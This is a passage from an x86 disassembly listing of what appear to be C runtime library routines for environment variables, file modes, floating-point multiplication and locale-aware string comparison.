loc_41F35B:				; CODE XREF: sub_41F297+BFj
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	eax, ds:dword_4383B0
		mov	ecx, ds:dword_4383B4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F38E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438340h[edx*4]


loc_41F37C:				; CODE XREF: sub_41F297+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F37C
		jmp	short loc_41F38E
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F297+AAj
					; sub_41F297+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F39C


loc_41F38E:				; CODE XREF: sub_41F297+D7j
					; sub_41F297+EEj
		push	ds:dword_4383BC
		push	8
		call	esi ; dword_46975C
		pop	ecx
		pop	ecx
		jmp	short loc_41F3AA
; ---------------------------------------------------------------------------


loc_41F39C:				; CODE XREF: sub_41F297+F5j
		push	edi
		call	esi ; dword_46975C
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F3AA
		cmp	edi, 4
		jnz	short loc_41F3BD


loc_41F3AA:				; CODE XREF: sub_41F297+103j
					; sub_41F297+10Cj
		cmp	edi, 8
		mov	ds:dword_469534, ebx
		jnz	short loc_41F3BD
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4383BC, eax


loc_41F3BD:				; CODE XREF: sub_41F297+111j
					; sub_41F297+11Cj
		xor	eax, eax
		pop	ebx


loc_41F3C0:				; CODE XREF: sub_41F297+2Cj
					; sub_41F297+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F297	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3C4	proc near		; CODE XREF: sub_41F297+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4383B8
		cmp	ds:dword_43833C, edx
		push	esi
		mov	eax, offset dword_438338
		jz	short loc_41F3F2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438338h[esi*4]


loc_41F3E6:				; CODE XREF: sub_41F3C4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3F2
		cmp	[eax+4], edx
		jnz	short loc_41F3E6


loc_41F3F2:				; CODE XREF: sub_41F3C4+16j
					; sub_41F3C4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438338h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F406
		cmp	[eax+4], edx
		jz	short locret_41F408


loc_41F406:				; CODE XREF: sub_41F3C4+3Bj
		xor	eax, eax

locret_41F408:				; CODE XREF: sub_41F3C4+40j
		retn
sub_41F3C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F409	proc near		; CODE XREF: sub_41E162+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_46AAE8, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_4694AC
		push	edi
		jz	short loc_41F480
		test	esi, esi
		jnz	short loc_41F43A
		cmp	ds:dword_4694B4, esi
		jz	short loc_41F480
		call	sub_41F7D7
		test	eax, eax
		jnz	short loc_41F480
		mov	esi, ds:dword_4694AC
		test	esi, esi
		jz	short loc_41F480


loc_41F43A:				; CODE XREF: sub_41F409+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F480
		push	ebx
		call	sub_415CF0
		pop	ecx
		mov	edi, eax


loc_41F44B:				; CODE XREF: sub_41F409+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F480
		push	eax
		call	sub_415CF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F473
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F473
		push	edi
		push	ebx
		push	eax
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F478


loc_41F473:				; CODE XREF: sub_41F409+51j
					; sub_41F409+59j
		add	esi, 4
		jmp	short loc_41F44B
; ---------------------------------------------------------------------------


loc_41F478:				; CODE XREF: sub_41F409+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F482
; ---------------------------------------------------------------------------


loc_41F480:				; CODE XREF: sub_41F409+10j
					; sub_41F409+1Cj ...
		xor	eax, eax


loc_41F482:				; CODE XREF: sub_41F409+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F409	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F486	proc near		; CODE XREF: sub_41E84C+8Bp
					; sub_41E84C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41F4ED
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A7A0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4ED
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4C6
		and	cl, 7Fh
		jmp	short loc_41F4D3
; ---------------------------------------------------------------------------


loc_41F4C6:				; CODE XREF: sub_41F486+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4E1
		or	cl, 80h


loc_41F4D3:				; CODE XREF: sub_41F486+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F4E1:				; CODE XREF: sub_41F486+48j
		mov	ds:dword_469484, 16h
		jmp	short loc_41F4F7
; ---------------------------------------------------------------------------


loc_41F4ED:				; CODE XREF: sub_41F486+Bj
					; sub_41F486+27j
		mov	ds:dword_469484, 9


loc_41F4F7:				; CODE XREF: sub_41F486+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F486	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4FC	proc near		; CODE XREF: sub_41F004+165p
					; sub_41F71C+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6FC
		cmp	cx, 7FFFh
		jnb	loc_41F6FC
		cmp	dx, 0BFFDh
		ja	loc_41F6FC
		cmp	dx, 3FBFh
		ja	short loc_41F565
		xor	eax, eax
		jmp	short loc_41F59F
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: sub_41F4FC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F587
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F587
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F589
		cmp	[esi], eax
		jnz	short loc_41F589
		jmp	loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F587:				; CODE XREF: sub_41F4FC+71j
					; sub_41F4FC+79j
		xor	eax, eax


loc_41F589:				; CODE XREF: sub_41F4FC+80j
					; sub_41F4FC+84j
		cmp	cx, ax
		jnz	short loc_41F5AC
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F5AC
		cmp	[ebx+4], eax
		jnz	short loc_41F5AC
		cmp	[ebx], eax
		jnz	short loc_41F5AC


loc_41F59F:				; CODE XREF: sub_41F4FC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F717
; ---------------------------------------------------------------------------


loc_41F5AC:				; CODE XREF: sub_41F4FC+90j
					; sub_41F4FC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41F5BC:				; CODE XREF: sub_41F4FC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F610
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41F5D8:				; CODE XREF: sub_41F4FC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F603
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41F603:				; CODE XREF: sub_41F4FC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5D8


loc_41F610:				; CODE XREF: sub_41F4FC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F5BC
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F653


loc_41F62E:				; CODE XREF: sub_41F4FC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F64C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA11
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F62E


loc_41F64C:				; CODE XREF: sub_41F4FC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F68C


loc_41F653:				; CODE XREF: sub_41F4FC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F68C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41F66C:				; CODE XREF: sub_41F4FC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F675
		inc	[ebp+var_14]


loc_41F675:				; CODE XREF: sub_41F4FC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA3F
		dec	ebx
		pop	ecx
		jnz	short loc_41F66C
		cmp	[ebp+var_14], 0
		jz	short loc_41F68C
		or	byte ptr [ebp+var_24], 1


loc_41F68C:				; CODE XREF: sub_41F4FC+155j
					; sub_41F4FC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F6A3
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6D8


loc_41F6A3:				; CODE XREF: sub_41F4FC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6D5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6D0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6CA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6CA:				; CODE XREF: sub_41F4FC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6D0:				; CODE XREF: sub_41F4FC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6D5:				; CODE XREF: sub_41F4FC+1ABj
		inc	[ebp+var_24+2]


loc_41F6D8:				; CODE XREF: sub_41F4FC+1A5j
					; sub_41F4FC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6FC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41F6F6:				; CODE XREF: sub_41F4FC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F717
; ---------------------------------------------------------------------------


loc_41F6FC:				; CODE XREF: sub_41F4FC+42j
					; sub_41F4FC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41F717:				; CODE XREF: sub_41F4FC+ABj
					; sub_41F4FC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F71C	proc near		; CODE XREF: sub_41EB33+440p
					; sub_41F004+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438830
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		jge	short loc_41F744
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_438990
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41F744:				; CODE XREF: sub_41F71C+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F74F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41F74F:				; CODE XREF: sub_41F71C+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		push	esi
		push	edi


loc_41F756:				; CODE XREF: sub_41F71C+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F78E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F781
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41F781:				; CODE XREF: sub_41F71C+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4FC
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41F78E:				; CODE XREF: sub_41F71C+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F756
		pop	edi
		pop	esi


loc_41F795:				; CODE XREF: sub_41F71C+14j
					; sub_41F71C+36j
		pop	ebx
		leave
		retn
sub_41F71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F798	proc near		; CODE XREF: sub_41F409+5Ep
					; sub_41FC49+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F7A5
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7A5:				; CODE XREF: sub_41F798+7j
		push	ds:dword_46A8A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_46AAC4
		call	loc_41F845
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7D2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F798+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F798	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7D7	proc near		; CODE XREF: sub_41F409+1Ep
					; seg000:0041FB1Dp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_4694B4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F838
		mov	ebx, ds:dword_421138


loc_41F7F0:				; CODE XREF: sub_41F7D7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_421138
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F840
		push	ebp
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F840
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_421138
		test	eax, eax
		jz	short loc_41F840
		push	edi
		push	[esp+18h+var_4]
		call	loc_41FAC2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7F0


loc_41F838:				; CODE XREF: sub_41F7D7+11j
		xor	eax, eax


loc_41F83A:				; CODE XREF: sub_41F7D7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41F840:				; CODE XREF: sub_41F7D7+29j
					; sub_41F7D7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F83A
sub_41F7D7	endp

; ---------------------------------------------------------------------------


loc_41F845:				; CODE XREF: sub_41F798+27p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		cmp	ds:dword_469768, ebx
		push	1
		pop	edi
		jnz	short loc_41F8B8
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_41F895
		mov	ds:dword_469768, edi
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: seg000:0041F88Bj
		push	edi
		mov	eax, offset dword_438FC4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_41FAAE
		mov	ds:dword_469768, 2


loc_41F8B8:				; CODE XREF: seg000:0041F876j
					; seg000:0041F893j
		mov	esi, [ebp+14h]
		cmp	esi, ebx
		jle	short loc_41F8CF
		push	esi
		push	dword ptr [ebp+10h]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+14h], esi


loc_41F8CF:				; CODE XREF: seg000:0041F8BDj
		cmp	[ebp+1Ch], ebx
		jle	short loc_41F8E4
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		call	sub_41BF95	; CODE XREF: seg000:0041F954j
		pop	ecx
		pop	ecx
		mov	[ebp+1Ch], eax


loc_41F8E4:				; CODE XREF: seg000:0041F8D2j
		mov	eax, ds:dword_469768
		cmp	eax, 2
		jnz	short loc_41F909
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_42100C	; CompareStringA
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: seg000:0041F8ECj
		cmp	eax, edi
		jnz	loc_41FAAE
		cmp	[ebp+20h], ebx
		jnz	short loc_41F91E
		mov	eax, ds:dword_469528
		mov	[ebp+20h], eax


loc_41F91E:				; CODE XREF: seg000:0041F914j
		cmp	esi, ebx
		jz	short loc_41F92B
		cmp	[ebp+1Ch], ebx
		jnz	loc_41F9C3


loc_41F92B:				; CODE XREF: seg000:0041F920j
		cmp	esi, [ebp+1Ch]
		jnz	short loc_41F938


loc_41F930:				; CODE XREF: seg000:0041F981j
					; seg000:0041F9B2j
		push	2


loc_41F932:				; CODE XREF: seg000:0041F98Bj
		pop	eax
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F938:				; CODE XREF: seg000:0041F92Ej
		cmp	[ebp+1Ch], edi
		jle	short loc_41F944


loc_41F93D:				; CODE XREF: seg000:0041F996j
					; seg000:0041F99Ej ...
		mov	eax, edi
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F944:				; CODE XREF: seg000:0041F93Bj
		cmp	esi, edi
		jg	short loc_41F989
		lea	eax, [ebp-3Ch]
		push	eax
		push	dword ptr [ebp+20h]
		call	near ptr 0A80000h
		jz	short near ptr loc_41F8DA+1
		ror	byte ptr [edi],	84h
		push	ecx
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_41F98D
		cmp	dword ptr [ebp-3Ch], 2
		jb	short loc_41F989
		lea	eax, [ebp-36h]
		cmp	[ebp-36h], bl
		jz	short loc_41F989


loc_41F96F:				; CODE XREF: seg000:0041F987j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F989
		mov	ecx, [ebp+10h]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F983
		cmp	cl, dl
		jbe	short loc_41F930


loc_41F983:				; CODE XREF: seg000:0041F97Dj
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F96F


loc_41F989:				; CODE XREF: seg000:0041F946j
					; seg000:0041F965j ...
		push	3
		jmp	short loc_41F932
; ---------------------------------------------------------------------------


loc_41F98D:				; CODE XREF: seg000:0041F95Ej
		cmp	[ebp+1Ch], ebx
		jle	short loc_41F9C3
		cmp	dword ptr [ebp-3Ch], 2
		jb	short loc_41F93D
		lea	eax, [ebp-36h]
		cmp	[ebp-36h], bl
		jz	short loc_41F93D


loc_41F9A0:				; CODE XREF: seg000:0041F9BCj
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F93D
		mov	ecx, [ebp+18h]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F9B8
		cmp	cl, dl
		jbe	loc_41F930


loc_41F9B8:				; CODE XREF: seg000:0041F9AEj
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F9A0
		jmp	loc_41F93D
; ---------------------------------------------------------------------------


loc_41F9C3:				; CODE XREF: seg000:0041F925j
					; seg000:0041F990j
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+10h]
		push	9
		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jz	loc_41FAAE
		mov	[ebp-4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		mov	[ebp-24h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+14h]
		push	1
		pop	edi


loc_41FA12:				; CODE XREF: seg000:0041F9FAj
		cmp	[ebp-24h], ebx
		jz	loc_41FAAE
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	esi
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+20h]
		mov	esi, ds:dword_421064
		call	esi ; dword_421064
		test	eax, eax
		jz	short loc_41FAAE
		push	ebx
		push	ebx
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	9
		push	dword ptr [ebp+20h]
		call	esi ; dword_421064
		mov	esi, eax
		mov	[ebp-20h], esi
		cmp	esi, ebx
		jz	short loc_41FAAE
		mov	[ebp-4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp-18h], esp
		mov	edi, esp
		mov	[ebp-28h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	edi, edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]


loc_41FA7D:				; CODE XREF: seg000:0041FA69j
		cmp	edi, ebx
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421008	; CompareStringW
		jmp	short loc_41FAB0
; ---------------------------------------------------------------------------


loc_41FAAE:				; CODE XREF: seg000:0041F8A8j
					; seg000:0041F90Bj ...
		xor	eax, eax


loc_41FAB0:				; CODE XREF: seg000:0041F904j
					; seg000:0041F933j ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FAC2:				; CODE XREF: sub_41F7D7+50p
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+8], edi
		jz	short loc_41FB26
		push	3Dh
		push	dword ptr [ebp+8]
		call	sub_41FD08
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp-8], esi
		jz	short loc_41FB26
		cmp	[ebp+8], esi
		jz	short loc_41FB26
		mov	eax, ds:dword_4694AC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_4694B0
		jnz	short loc_41FB0C
		push	eax
		call	sub_41FCA1
		pop	ecx
		mov	ds:dword_4694AC, eax


loc_41FB0C:				; CODE XREF: seg000:0041FAFEj
		cmp	eax, edi
		jnz	short loc_41FB64
		cmp	[ebp+0Ch], edi
		jz	short loc_41FB2E
		cmp	ds:dword_4694B4, edi
		jz	short loc_41FB2E
		call	sub_41F7D7
		test	eax, eax
		jz	short loc_41FB64


loc_41FB26:				; CODE XREF: seg000:0041FACFj
					; seg000:0041FAE4j ...
		or	eax, 0FFFFFFFFh


loc_41FB29:				; CODE XREF: seg000:0041FC44j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB2E:				; CODE XREF: seg000:0041FB13j
					; seg000:0041FB1Bj
		cmp	ebx, edi
		jnz	loc_41FC42
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4694AC, eax
		jz	short loc_41FB26
		mov	[eax], edi
		cmp	ds:dword_4694B4, edi
		jnz	short loc_41FB64
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4694B4, eax
		jz	short loc_41FB26
		mov	[eax], edi


loc_41FB64:				; CODE XREF: seg000:0041FB0Ej
					; seg000:0041FB24j ...
		sub	esi, [ebp+8]
		mov	edi, ds:dword_4694AC
		mov	[ebp-4], edi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_41FC49
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBC4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBC4
		test	ebx, ebx
		jz	short loc_41FBBC
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E3D
		pop	ecx


loc_41FB96:				; CODE XREF: seg000:0041FBA4j
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA6
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB96
; ---------------------------------------------------------------------------


loc_41FBA6:				; CODE XREF: seg000:0041FB99j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBF6
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBBC:				; CODE XREF: seg000:0041FB88j
		mov	eax, [ebp+8]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBF6
; ---------------------------------------------------------------------------


loc_41FBC4:				; CODE XREF: seg000:0041FB7Fj
					; seg000:0041FB84j
		test	ebx, ebx
		jnz	short loc_41FC42
		test	esi, esi
		jge	short loc_41FBCE
		neg	esi


loc_41FBCE:				; CODE XREF: seg000:0041FBCAj
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB26
		mov	ecx, [ebp+8]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41FBF1:				; CODE XREF: seg000:0041FBBAj
		mov	ds:dword_4694AC, eax


loc_41FBF6:				; CODE XREF: seg000:0041FBB8j
					; seg000:0041FBC2j
